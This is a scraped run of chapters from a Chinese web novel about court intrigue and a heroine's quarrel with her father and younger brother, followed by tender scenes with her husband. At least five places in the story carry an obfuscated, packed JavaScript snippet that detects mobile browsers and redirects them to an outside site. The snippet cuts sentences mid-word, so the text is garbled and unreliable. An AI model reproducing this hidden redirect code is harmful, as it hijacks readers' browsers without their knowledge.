圣上如遭雷击,愣在当场,脸上的血色瞬间褪去,仿佛一下子苍老了十岁。 过了许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062158|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他才颓然地摆了摆手,声音嘶哑: “都下去吧……” 太医们如蒙大赦,纷纷磕头退下。 冀容白靠着椅背,微微喘息,脸色依旧没有恢复。 他示意墨川将带来的两份卷宗呈上。 一份是邱默的申冤**,字字泣血;另一份则是关于泰州兵备道贪赃枉法、欺上瞒下的详细记录,桩桩件件,触目惊心。 吉公公接过,小心翼翼地呈到御前。 圣上快速翻阅着,脸色越来越难看,看到最后,竟是直接将卷宗摔在了桌案上! “砰”的一声巨响,吓得吉公公一哆嗦。 “好大的狗胆!” 圣上怒不可遏, “潘云霄!” 一旁静立不语的潘云霄立刻上前,拿起卷宗。 他飞快地扫了一遍,神色也变得凝重起来。 “陛下,” 冀容白的声音很轻,却清晰地传入每个人耳中, “臣的夫人遭人陷害,无辜被捕,臣一时情急,擅自动用了鹰羽卫,还望陛下恕罪。” 圣上的目光闪了闪,落在那份关于泰州兵备道的卷宗上。 他当然知道茅清兮被抓的事,也知道冀容白为此大动干戈。 但他没想到,冀容白竟能查出这么多东西。 “鹰羽卫本就是你的,何罪之有?” 圣上语气缓和了些, “朕只问你,邱默和泰州兵备道那些人,现在何处?” “回陛下,臣已将他们关押在锦衣卫诏狱。” 冀容白垂眸,语气平静。 “潘云霄,这些人就交给你了,” 圣上厉声吩咐, “务必给朕查个清清楚楚!若有半点徇私,朕绝不轻饶!” “臣遵旨!” 潘云霄立刻跪下领命,神色肃然。 冀容白抵唇轻咳,声音低哑。 圣上看着他这副虚弱的模样,不由得一阵心疼: “容白啊,你看看你,这身子骨都成什么样了?干脆留在宫里,让太医们好好给你调理调理。” 冀容白苦笑着摇了摇头: “陛下好意,臣心领了。只是……内子还在家中等臣回去,臣实在不放心。” 圣上:“……” 他当初真是昏了头,竟然赐了这门婚事! 冀容白正要告退,圣上却突然想起一事,叫住了他: “容白,你妹妹的婚事,可是近了? 第一百二十八章 ” 冀容白脚步一顿,眼底闪过一丝晦暗,转瞬即逝。 “回陛下,确已不远。” 他低声应道。 “那你母亲……” 圣上语气中带着一丝试探, “可有为她准备嫁妆?” “母亲一心向佛,早已不过问俗事。” 冀容白的声音依旧平淡,听不出任何情绪。 圣上眼中闪过一丝失落,但很快便掩饰了过去, “既如此,那便由朕来替她添妆吧。” “臣,代小妹谢陛下隆恩。” 冀容白躬身行礼,眼底一片深沉。 *** 陆府。 下人们见到茅清兮,一个个都露出惊恐的神色。 有人想上前阻拦,却又被她身上那股冷冽的气势震慑住,竟是不敢动弹。 “站住!你们做什么吃的?!” 一个尖利的声音突然响起。 管家急匆匆地从里面跑出来,脸上带着几分慌乱, “大小姐,您怎么来了?老爷他……” “我不能来?” 茅清兮冷冷地打断了他, “让开!” 管家还想再说什么,却被茅飞羽拦住了。 “周管家,你去忙你的吧,我带姐姐进去。” 茅飞羽朝他使了个眼色。 周管家犹豫了一下,最终还是退到了一边。 “少爷,您回来了!” 另一个小厮眼尖,立刻迎了上来, “老爷在正厅等您呢。” “嗯。” 茅飞羽点点头,转头看向茅清兮, “姐,要不你先去我院子里坐会儿?等我和父亲说清楚了,再去找你。” “不必了,” 茅清兮径直朝正厅走去, “我倒要看看,他想说什么。” 茅飞羽有些无奈,他知道茅清兮和茅文昭的关系一直很僵,却没想到会僵到这种地步。 他快步跟上茅清兮,心中暗暗祈祷,希望两人不要再起冲突。 然而,事与愿违。 他们刚踏入正厅,一只茶盏就迎面飞来! “孽女!你还有脸回来?!” 茅文昭的声音尖锐而愤怒, “给我滚出去!” 茅清兮眼神冰冷,连躲都没躲。 就在茶盏即将砸到她脸上时,俞霜出手了。 寒光一闪,短刀精准地击中茶盏。 茶盏在空中转了几圈,“啪”的一声摔在地上,碎成几片。 “哎哟!” 茅文昭惊叫一声,捂住了额头。 *** 出了宫门,潘云霄并没有立刻离开。 他看着冀容白被墨川推着远去的背影,眼神复杂。 “苏将军,” 潘云霄突然开口,声音在空旷的宫道上回荡, “臣有一事不明。” 冀容白没有回头,只是微微侧了侧头。 墨川停下脚步,转头看向潘云霄,眼神戒备。 “那日,在别庄,你为何不直接将邱默交给我?” 潘云霄紧盯着冀容白的背影, “莫非……苏将军信不过我?” 冀容白缓缓转过身,目光平静地看着潘云霄。 潘云霄站在那里,身姿挺拔,气度不凡。 可不知为何,在冀容白的注视下,他却感到一种无形的压力,仿佛自己正被一只猛兽盯着,稍有异动就会被撕成碎片。 他下意识地握紧了腰间的刀柄。 “苏大人多虑了,” 冀容白淡淡开口, “我只是认为,有些事情,还是由锦衣卫来查,更为妥当。” “哦?” 潘云霄眉梢一挑, “那苏将军以为,我苏某人会徇私枉法不成?” “苏大人言重了,” 冀容白语气依旧平静, “我只是相信,苏大人会给陛下一个满意的答复。” 说完,他便示意墨川推他离开。 潘云霄站在原地,看着冀容白远去的背影,脸色一阵青一阵白。 他承认,冀容白的确很强,无论是武功还是谋略,都远胜于他。 但那又如何? 如今的他,也已经不是当初那个任人摆布的小小锦衣卫了。 他迟早有一天,会超越冀容白,成为这大周朝最耀眼的存在! 想到这里,潘云霄的眼神变得阴冷而坚定,他紧紧握住刀柄,转身大步离去。“爹!” 茅飞羽急忙跑上前,下意识地伸出手,想要查看茅文昭的伤势。 地上散落着碎瓷片,在阳光下折射出刺眼的光。 茅文昭额头破了,殷红的血顺着脸颊淌下,触目惊心。 刚才那茶盏,不偏不倚,正中他脑门。 茅飞羽的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062159|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在半空中顿住,指尖微微颤抖,最终还是缓缓放下,默默地扶着茅文昭到一旁坐下。 茅文昭脸色铁青,胸口剧烈起伏,显然是气得不轻。 茅清兮缓步走进屋内,步履从容,仿佛周遭的一切都与她无关。她在椅子上坐定,姿态随意,甚至带着几分漫不经心。 “你来干什么?”茅文昭的怒吼声几乎要掀翻屋顶,他死死地盯着茅清兮,像是要把她生吞活剥一般,“族谱上已经除名了,给我滚出去!” 茅清兮抬眼,唇角勾起一抹若有似无的笑意: “爹,您这话说的,我这不是担心您嘛。”她顿了顿,故意拖长了语调,“毕竟,我这个当女儿的,再怎么说,也得‘关心’一下您的身体不是?” “你……”茅文昭被她这阴阳怪气的语气噎得一口气差点没上来,他指着茅清兮,手指颤抖得厉害,“你究竟想干什么?茅清兮!我这个当爹的在你心里还算个人吗?你竟敢殴打族老?连亲兄妹都下得去手!飞羽,你的腿……没事吧?” 茅文昭的目光转向茅飞羽,语气瞬间柔和下来,眼中满是关切。 “我没事,爹。”茅飞羽垂下眼帘,避开茅文昭的视线,低声说。 他紧紧攥着衣角,指节泛白。 茅文昭并未察觉他的异样,只当他是被吓到了,语气愈发严厉: “飞羽,你听好了!你是安阳侯府的世子,将来的长平侯!她茅清兮,一个嫁出去的女儿,泼出去的水!她有什么资格对你指手画脚?” 茅文昭的声音像是从胸腔里挤出来的,每一个字都带着压抑的怒火。 “她自己不争气,走了歪路,还想把你拉下水?我告诉你,门儿都没有!” 茅飞羽嘴唇翕动,似乎想说什么,但最终还是沉默了。 茅文昭深吸一口气,努力平复着自己的情绪: “飞羽,你记住,只有跟着孔首辅,你才能学到真本事,将来才能光耀门楣!茅清兮……她只会毁了你!” 茅飞羽的身子微微颤抖,他猛地抬起头,看着茅文昭,眼神中充满了复杂的情绪。 “爹,您为什么……就不能相信姐姐一次?”他声音沙哑,带着一丝不易察觉的颤抖。 茅文昭愣住了,他没想到茅飞羽会这么问。 在他看来,茅清兮就是个不学无术、惹是生非的逆女。 “相信她?她有什么值得我相信的?”茅文昭冷哼一声,语气中充满了不屑,“她会什么? 第一百二十九章 舞刀弄枪,还是撒泼打滚?” 茅飞羽还想再说些什么,但茅清兮却突然开口了: “行了,别废话了。”她的声音冷冷的,像是一盆冰水,浇灭了茅飞羽心中的火焰,“磨磨唧唧的,像个什么样子?” 茅清兮站起身,走到茅飞羽面前,居高临下地看着他,眼神锐利如刀。 “茅飞羽,我再问你最后一次,你到底跟不跟我走?” 茅飞羽看着她,眼神闪烁不定。 他知道,姐姐这次是真的生气了。 “飞羽不能走!”茅文昭见状,急忙上前,想要拉住茅飞羽。 但茅清兮却抢先一步,一把抓住茅飞羽的手腕,将他拉到自己身后。 “茅清兮,你要干什么?!”茅文昭怒吼,他身后的侍卫也立刻围了上来,将茅清兮和茅飞羽团团围住。 茅清兮冷笑一声,她环视四周,眼神中充满了轻蔑。 “怎么,想动手?”她挑衅地说道,“就凭你们这些废物?” “清兮!你别太过分了!”骆芸见势不妙,急忙上前劝道,“你爹也是为了飞羽好,你……” “闭嘴!”茅清兮厉声喝道,“这里没你说话的份!” 骆芸被她吓得一哆嗦,脸色一阵青一阵白。 这时,茅暮暮突然开口了: “姐姐,你别生气,爹也是一时糊涂。”她走到茅清兮面前,柔声说道,“你消消气,有什么话,我们好好说。” 茅清兮看着她,眼神中充满了玩味。 “好好说?”她冷笑一声,“茅暮暮,你又在打什么鬼主意?” 茅暮暮脸色一僵,但很快又恢复了正常。 “姐姐,我能有什么鬼主意?我只是……只是不想看到你们父女反目。”她说着,眼泪就流了下来,“姐姐,你走了,飞羽怎么办?他……他离不开你啊!” 茅清兮看着她,眼神中充满了厌恶。 她一把推开茅暮暮,冷冷地说道: “少在我面前演戏!你那点小心思,真以为我不知道?” “我……”茅暮暮被她推得一个踉跄,差点摔倒在地。 “茅暮暮,”茅清兮逼近她,一字一顿地说,“祖母的死,我劝你,最好祈祷跟你没有关系,否则……” 她故意拉长了声音,眼神变得阴冷而狠厉。 “我会让你……生不如死!” 茅暮暮脸色煞白,身体剧烈地颤抖起来,像是筛糠一样。 “够了!都给我住手!”茅文昭怒吼,他的声音因为愤怒而变得嘶哑,“茅清兮,你……你简直就是个疯子!” “疯子?”茅清兮冷笑,“我是疯子,那也是被你们逼的!” 她转过头,看着茅飞羽,语气冰冷: “茅飞羽,我最后问你一遍,你走不走?” 茅飞羽看着她,眼神中充满了挣扎。 他知道,如果他今天不跟姐姐走,那么他和姐姐之间,就真的完了。 可是,他如果跟姐姐走了,父亲……父亲会怎么样? 他不敢想象。 “姐……”茅飞羽张了张嘴,声音干涩。 他缓缓地抬起头,看着茅清兮,眼神中充满了坚定: “我……我留下。” “好,很好。”茅清兮看着他,眼神中闪过一抹失望,她点点头, “既然这是你的选择,那我……无话可说。” 她转过身,头也不回地走了出去。 俞霜紧随其后。 屋内,一片死寂。 茅飞羽站在原地,身体僵硬,像是一尊雕塑。 他看着茅清兮离去的方向,眼神空洞,像是失去了灵魂。 茅文昭看着他,眼中闪过一丝复杂的情绪。 他张了张嘴,想说什么,但最终还是什么也没说。 茅暮暮看着茅飞羽,眼中闪过一丝得意。 她知道,从今天起,茅清兮和茅飞羽之间,再无可能。 而她,终于赢了。“茅飞羽,你再说一遍?” 茅清兮的声音冷得像淬了冰,尾音微微上扬,每一个字都像是从牙缝中挤出来的,带着毫不掩饰的威胁。 茅飞羽却像是铁了心,猛地抬头,急切地说: “姐,求你别赶我走!” 他顿了顿,像是为了增加说服力,又飞快地补充: “我保证,这次一定回学院好好读书,再也不偷懒了!” “你……你随时都能来查岗监督我学习,要是我没做到,随你怎么罚!” 他眼巴巴地望着茅清兮,眼眶泛红,语气近乎哀求,双手不自觉地攥紧了衣角。 可茅清兮压根不为所动,只是缓缓地、一字一顿地吐出几个字: “俞霜,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062160|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,带走。” 俞霜得令,没有丝毫迟疑,立刻朝茅飞羽走去,每一步都像踩在茅飞羽的心上。 眼见着茅飞羽就要被带走,一直沉默不语的茅暮暮突然跳了出来,阴阳怪气地说: “大姐,飞羽他自己不愿意跟你回去,你又何必强人所难呢?” 她微微侧头,用眼角的余光扫了茅清兮一眼,语气中带着一丝挑衅: “血浓于水,他是爹的亲生骨肉,然后才是你的弟弟。姐姐无权僭越父亲之命,教训弟弟的权力?父亲可还在这儿呢!” 这番话,无疑是火上浇油,成心挑拨。 茅文昭被彻底激怒,他“腾”地一下站起身,猛地冲到茅飞羽面前,像一头护崽的狮子,伸开双臂挡住俞霜,冲着茅清兮怒吼: “茅清兮!你把我当空气是吧?!” 他额头上的青筋暴起,手指着茅清兮,因为愤怒而微微颤抖。 “我还没死呢!没资格管束飞羽!” 俞霜可不管这些,她面无表情,直接伸手去抓茅飞羽。 周围的侍卫见状,立刻一拥而上,纷纷对俞霜出手。 他们拔出佩刀,刀光闪烁,直逼俞霜而去。 一时间,院子里刀光剑影,杀气腾腾。 青虹剑在俞霜手中,如同游鱼般灵活,带着凌厉的寒光,上下翻飞,将那些侍卫一一逼退。 “铛铛铛”的兵器碰撞声不绝于耳。 那些侍卫根本不是俞霜的对手,一个个被打倒在地,痛苦呻吟,手中的刀也“哐当”落地。 茅暮暮看着俞霜,眼底的怨毒几乎要溢出来。 这个俞霜,曾经是她的人! 可如今,却成了茅清兮的爪牙! 以前俞霜为她办事,总是找各种借口推脱,她只能用外祖父的名头来压她。 可现在呢?茅清兮一个命令,她就乖乖听话,简直是……反了天了! “放肆!” 茅文昭气得浑身发抖,他万万没想到,茅清兮竟然敢在陆府动手! 他指着茅清兮的鼻子怒骂: “茅清兮!这里是陆府,岂容你如此猖狂!” “你再不住手,我就……我就……” 他“就”了半天,也没说出个所以然来。 “你就怎么样?” 茅清兮嗤笑一声,打断了他的话。 第一百三十章 她缓缓地站起身,一步一步走向茅文昭,眼神冰冷,居高临下地看着他: “今天这满府上下,有谁能拦得住我?” “你!” 茅文昭咬牙切齿。 “茅文昭,你要是有骨气,就去官府告我,说我强抢民男!” 茅清兮冷笑,步步紧逼, “或者,你直接去秦府找我要人!” 她停顿了一下,嘴角的弧度愈发嘲讽。 “不过……你敢吗?” 最后三个字,每一个字都像一记重锤,狠狠砸在茅文昭的心上。 他的脸瞬间涨成了猪肝色,脖子上的青筋根根暴起,嘴唇哆嗦着,却一个字也说不出来。 他当然不敢! 盛怒之下,失去理智的茅文昭直接冲向茅清兮,高高扬起手就要给她一巴掌。 “爹!不要!” 茅飞羽惊恐地大喊,声音都劈了。 电光火石之间,茅清兮一把擒住茅文昭的手臂,猛地向后一拧。 “啊——!” 茅文昭发出一声杀猪般的惨叫,只觉得胳膊像是要断了一样,钻心的疼。 他疼得龇牙咧嘴,身体也因为疼痛而扭曲。 茅清兮满脸煞气,眼神森寒地扫过在场的每一个人,声音像是从地狱里传来的: “俞霜,把人带走!” “要是不愿走,那就直接把我废了带走!” 这话,是对着茅飞羽,也是对着在场的所有人,带着不容置疑的威慑。 俞霜不再犹豫,一把抓住茅飞羽的手臂,就要将他拖走。 可就在这时,茅飞羽却突然“扑通”一声跪了下来,双膝重重地砸在地上。 他哭喊着,声音嘶哑: “姐!何必搞得这么僵?” “我已经承诺要认真学习了,你为什么就是不信我?” 他抬起头,泪眼朦胧地看着茅清兮,眼中充满了不解和委屈。 “难道在你眼里,我就这么不堪,只有你才能教好我吗?!” “茅飞羽!识相的就跟我走!” 茅清兮的声音,冷得没有一丝温度,像一块万年寒冰。 “我不回去!我就要留在家里!” 茅飞羽却像是豁出去了一般,声音拔高了几分,带着一股子不管不顾的劲头。 他猛地推开俞霜,声嘶力竭地吼着, “即便你现在废了我,把我打死,我也不跟你回去!” 轰—— 茅清兮只觉得一股无名火直冲头顶,所有的理智瞬间化为乌有。 过往种种,所有人都告诉她要为家族、为母亲考虑,可她自己呢?谁又为她考虑过! “好!茅飞羽,没想到你胆子这么肥!” 她咬牙切齿,每一个字都像是从牙缝里挤出来的。 她一步步走向茅飞羽,高跟鞋敲击地面的声音,一声声像是催命符。 茅飞羽看着步步逼近的茅清兮,感受到她身上散发出的骇人气息,瑟缩着身子退后一步,身体微微颤抖,可眼神却透着一股子倔强。 俞霜觉察出不对劲,连忙上前一步,张开双臂想要拦住茅清兮: “主子冷静!他是你弟弟……” “滚开!” 茅清兮一把甩开俞霜的手,力道之大,让俞霜踉跄了几步才站稳。 她厉声喝道,眼睛死死地盯着茅飞羽。 茅清兮弯腰,从地上捡起一根侍卫掉落的木棍,掂了掂重量,在手中把玩。 她抬起头,眼神冰冷地看着茅飞羽: “茅飞羽,我数到三,你要是不起来,就别怪我不客气了。” “一……” “二……” 茅飞羽依旧跪在地上,一动不动,只是紧紧地闭上了眼睛,身体抖得更厉害了。 眼看着茅清兮就要数到“三”,茅飞羽突然开口,声音嘶哑,带着哭腔: “你打吧!打死我算了!” 他猛地抬起头,泪水早已模糊了双眼, “母亲在九泉之下也看得见!她在天有灵定会看到你如何对待她的孩子!” “你总是这样,从来都不听我说什么!” 他越说越激动,声音也越来越大, “若你真心待我如亲弟,以前怎么不管我?现在又来装什么好姐姐!” “我过得好好的,你非要来插一脚!你以为你是谁啊?!” 他一口气吼完,像是用尽了全身的力气,瘫坐在地上,大口大口地喘着粗气。 茅清兮握着木棍的手,猛地收紧,手臂上的青筋都爆了起来,手背因为用力而泛白。 那木棍,却始终没有落下。 她看着眼前这个声嘶力竭的少年,突然觉得有些陌生。 这还是她那个唯唯诺诺,胆小怕事的弟弟吗? 俞霜见状,连忙上前,想要将茅清兮手中的木棍拿走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062161|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可茅清兮却像是突然回过神来一般,猛地将木棍扔到了一边。 “咚”的一声,木棍落地,发出沉闷的声响。 茅清兮深吸一口气,缓缓开口,声音平静得没有一丝波澜: “你说得对,你可是陆家的子嗣。” 她看着茅飞羽,眼神复杂, “安阳侯府的世子,不需要我来教。” 短短几句话,像是一把锋利的刀,将她和茅飞羽之间本就脆弱的姐弟情,彻底斩断。 茅清兮终于意识到,她和茅飞羽,终究是不一样的。 她背负着血海深仇,而茅飞羽,只是一个想要安稳度日的世家公子。 他不需要像她一样,在刀尖上舔血,在仇恨中挣扎。 她所珍视的、坚持的,对他来说,或许只是一种负担。 是她强求了,是她把自己的意愿,强加在了茅飞羽身上。 “俞霜,我们走。” 茅清兮转身,大步离开,没有一丝留恋。 俞霜回头,深深地看了一眼跪在地上的茅飞羽,最终还是迈开步子,跟上了茅清兮。 茅飞羽没有抬头,只是低着头,肩膀微微颤抖。 他知道,从今往后,他和茅清兮之间,再无可能。 * 茅清兮走出陆府,只觉得外面的阳光有些刺眼。 她微微眯起眼睛,抬头看了看天,长长地舒了一口气。 俞霜跟在她身后,亦步亦趋,沉默不语。 走了许久,茅清兮突然停下脚步,开口问道: “俞霜,你说,我是不是真的错了?” 她的声音很轻,带着一丝不易察觉的迷茫。 俞霜知道,茅清兮心里其实很不好受。 她想了想,轻声说道: “主子,您没有错。只是……您和少爷,终究是不一样的。” “您背负着血海深仇,而少爷,只是一个想要安稳度日的世家公子。” “您所珍视的、坚持的,对他来说,或许只是一种负担。” 茅清兮沉默了。 她知道俞霜说得对,可心里还是有些难受。 “罢了,不想这些了。” 她摇了摇头,强迫自己将这些烦心事抛到脑后。 路过一家点心铺子时,茅清兮停下了脚步。 她看着那琳琅满目的点心,突然想起了冀容白。 “俞霜,你说… 第一百三十一章 …冀容白喜欢吃什么?” 她转头问俞霜,语气中带着一丝期待。 俞霜愣了一下,随即反应过来,笑着说道: “主子,您这是……开窍了?” 茅清兮没有回答,只是微微红了脸。 她走进点心铺子,精心挑选了几样看起来最精致的点心。 “就这些吧。” 她将点心包好,递给俞霜。 “主子,您这是要……” 俞霜有些疑惑。 “给他带回去。” 茅清兮说,嘴角微微上扬, “他不是最怕吃苦药吗?有了这些点心,应该会好些吧。” 想到冀容白吃到甜点时可能会露出的表情,茅清兮的心情,竟然奇迹般地好了起来。 那些因为陆府而起的阴霾,也随之烟消云散。 她拎着点心,脚步轻快地往回走,心中充满了期待。“哟,二位可算舍得回来了。” 茅清兮刚踏进秦府大门,墨川就一个箭步窜上来,语气那叫一个酸。 她淡淡扫了墨川一眼,没搭理,目光落在刚下马车的冀容白身上。 月白锦袍勾勒出他挺拔的身形,夕阳余晖洒在他身上,像是镀了层金边,平白添了几分暖意。 “这就溜回来啦?”茅清兮语气里带着一丝自己都没察觉的惊讶。 公务缠身,她还以为冀容白没个一时半刻脱不开身。 “当然是……”冀容白唇角一勾,缓步朝她走来,声音低沉而富有磁性,“当然要回来陪老婆大人啊。” 墨川极有眼力见地推来轮椅,冀容白却只是摆了摆手,示意他退下。 在茅清兮面前站定,冀容白微微俯身,与她平视,深邃的眸子里漾着温柔的笑意。 “怎么?瞧着不大高兴。”他声音压得很低,带着些许关切。 茅清兮一怔,下意识地摸了摸脸颊:“我表现得有这么明显?” 她自认情绪掩藏得极好,一路上,就连俞霜那丫头也没瞧出她有什么不对劲。 “嗯……”冀容白煞有介事地拖长了调子,指尖轻轻点了点她的眼角,“娘子不开心的时候,这儿,会微微往下耷拉着,还有这嘴角……”他指尖又滑到她的唇边,轻轻摩挲了一下,“也抿得紧紧的。” 他顿了顿,目光扫过茅清兮身后,意有所指地问:“可是……飞羽那小子惹着我们家娘子了?” 茅清兮身后空空如也,哪有茅飞羽的影子。 “他自个儿回陆府了。”茅清兮语气闷闷的,带着点儿不易察觉的委屈,“非要回去,拦都拦不住。” 冀容白闻言,眸光一闪,唇角勾起一抹玩味的弧度。 “要不……为夫这便派人去将他绑回来,让他跪在娘子面前认错,如何?”他语气轻松,仿佛只是在谈论一件微不足道的小事,“墨川,这事儿便交给你了。鹰羽卫出马,还没失手过。” 说到最后,他语气陡然转冷,声音里裹挟着令人胆寒的杀意。 茅清兮身子微微一僵。 心头那股闷气,竟消散了大半。 她忽然发现,打从一开始,她就下意识地认为,只要跟冀容白说,他定会替她出头。就像小时候在外面受了委屈,娘亲总会提着青锋枪替她找回场子。这感觉……虽然把冀容白跟娘亲放一块儿比有些奇怪,可冀容白给她的,就是这种能让人踏实的安心感。 她“扑哧”一声笑了出来,眉眼弯弯:“算了吧,真把鹰羽卫派去陆府,我那爹还不直接吓晕过去。” “那为夫也顾不得这许多,”冀容白煞有介事地叹了口气,“谁让岳丈大人家的小少爷,惹了我家娘子不痛快。” 茅清兮被他逗得笑出了声,心底那点阴霾彻底散了个干净。 她像是突然想起了什么,连忙献宝似的提起手中的油纸包。 “对了,我给你买了样东西,你肯定喜欢!” 冀容白眸中笑意更深,接过那油纸包,轻轻嗅了嗅。 茅清兮见他迟迟不打开,有些急了:“快打开尝尝,凉了可就不好吃了。” 冀容白这才慢条斯理地打开油纸包,捻起一块蜜饯,送入口中,动作却猛地一顿,像是被按了暂停键。 茅清兮微微扬起下巴,平日里总是冷冰冰的眸子,此刻却亮晶晶的,巴巴地等着他的反应。 “怎么样?好吃吗?” 冀容白只觉得一股甜腻的味道在口腔中炸开,像是无数只蚂蚁在啃噬他的牙齿,甜得他太阳穴突突直跳。 他僵硬地咀嚼着,感觉整个舌头都快麻木了,味蕾也失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062162|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了功能。 可看着茅清兮期待的眼神,他硬是把那股甜腻咽了下去,艰难地扯出一个笑来:“好……好吃,甜到心里去了。” “我就知道你喜欢!”茅清兮笑得眉眼弯弯,像只偷腥成功的猫。 她见冀容白吃得艰难,又补充道:“你要是实在吃不下,就别勉强了,留着慢慢吃。” 冀容白:“……” 两人并肩往院子里走,茅清兮步履轻快,心情格外放松。 明明陆府才是她的娘家,如今反倒是这小小的院落,才让她觉得自在安心。 “小姐,您可算回来了,紫姨都快急**。” 屋内,紫姨的声音远远传来,带着几分焦急和担忧。 她快步迎了出来,目光在茅清兮身上来回扫视,最终落在她肩膀的伤处,眼眶瞬间就红了。 “紫姨,我伤口有点儿疼,您快帮我瞧瞧。”茅清兮主动说道,语气里带着一丝不易察觉的娇嗔。 “哎,好,好,小姐快坐下。”紫姨连忙应着,小心翼翼地扶着茅清兮在桌边坐下,解开她肩头的衣裳,查看伤口。 纱布上隐隐渗出血迹,紫姨心疼得直抽气。 “小姐,您忍着点儿,我给您换药。” 紫姨的动作极轻,像是捧着一件易碎的珍宝,生怕弄疼了茅清兮。 茅清兮咬着下唇,一声不吭。 紫姨给她换好药,仔细包扎好,又忍不住絮絮叨叨:“你说你这孩子,怎么这么不让人省心?受了伤也不知道吭一声,万一伤口恶化了可怎么办?” 茅清兮低着头,小声嘟囔:“我哪有那么娇气……” 紫姨却不依不饶:“什么娇气不娇气的?受了伤就是受了伤,疼就是疼,有什么不能说的?你呀,就是性子太倔,什么事都喜欢憋在心里,这样下去可不行。” 茅清兮抬起头,看着紫姨关切的眼神,心里暖暖的,却又有些说不出的滋味。 她已经习惯了隐藏自己的情绪,习惯了独自承受一切,突然被人这样关心,反倒有些不自在了。 “紫姨,我知道错了,以后一定注意。”她乖乖认错。 紫姨这才满意地点了点头。 晚膳时,桌上摆了两碗药粥,一碗是冀容白的,另一碗,自然是茅清兮的。 第一百三十二章 茅清兮盯着那两碗黑乎乎的药粥,胃里一阵翻腾。 她又不能吃辛辣刺激的食物,除了这药粥,还能吃什么? “紫姨,能不能……换点别的?”她试探着问道。 紫姨摇了摇头:“小姐,您身上有伤,还是吃清淡点好。” 茅清兮顿时泄了气,像一只霜打的茄子,蔫蔫地坐在那里。 她拿起勺子,有一下没一下地搅动着碗里的粥,却迟迟没有送入口中。 突然,她感觉腿边被什么东西轻轻戳了一下。 她疑惑地抬眸,只见冀容白的手指正轻轻搭在她的膝盖上,轻轻敲击着,像是在打摩斯密码。 这……又是什么把戏? 她眨了眨眼,不解地看向冀容白。 冀容白没有说话,只是用修长的手指在茅清兮的腿上缓缓划动。 茅清兮起初还一头雾水,渐渐地,她似乎明白了什么,眼睛一点点亮了起来。 冀容白写完,手指却还舍不得离开,在茅清兮的腿上轻轻摩挲着。 茅清兮也顾不上那么多了,端起碗,将剩下的粥“咕嘟咕嘟”几口喝了个精光,然后眼巴巴地望着冀容白。 冀容白这才依依不舍地收回手,在茅清兮的催促下,也端起自己的碗,将药粥一饮而尽。 两人用完膳,茅清兮主动推着冀容白回房。 刚进屋,绮巧就端来了两碗汤药。 茅清兮眼疾手快,一把端过自己的那碗,仰头“咕咚咕咚”几口就灌了下去,那架势,像是喝酒而不是喝药。 然后,她眼巴巴地看着冀容白。 冀容白一闻到那浓重的药味,脸色“唰”地一下就白了。 他从小就怕喝药,每次喝药都跟上刑似的。 茅清兮见状,连忙从袖中掏出一个小纸包,神秘兮萱地说道:“我有秘密武器!” 她打开纸包,里面竟是几块蜜饯。 “快,吃了这个,就不苦了。”她捻起一颗蜜饯,递到冀容白嘴边。 冀容白犹豫了一下,最终还是在茅清兮期待的目光中,接过蜜饯,塞进嘴里,然后端起药碗,一饮而尽。 苦涩的味道瞬间被甜味冲淡,冀容白长长地舒了口气。 “怎么样?我没骗你吧?”茅清兮得意地说道。 冀容白点了点头,表示赞同。 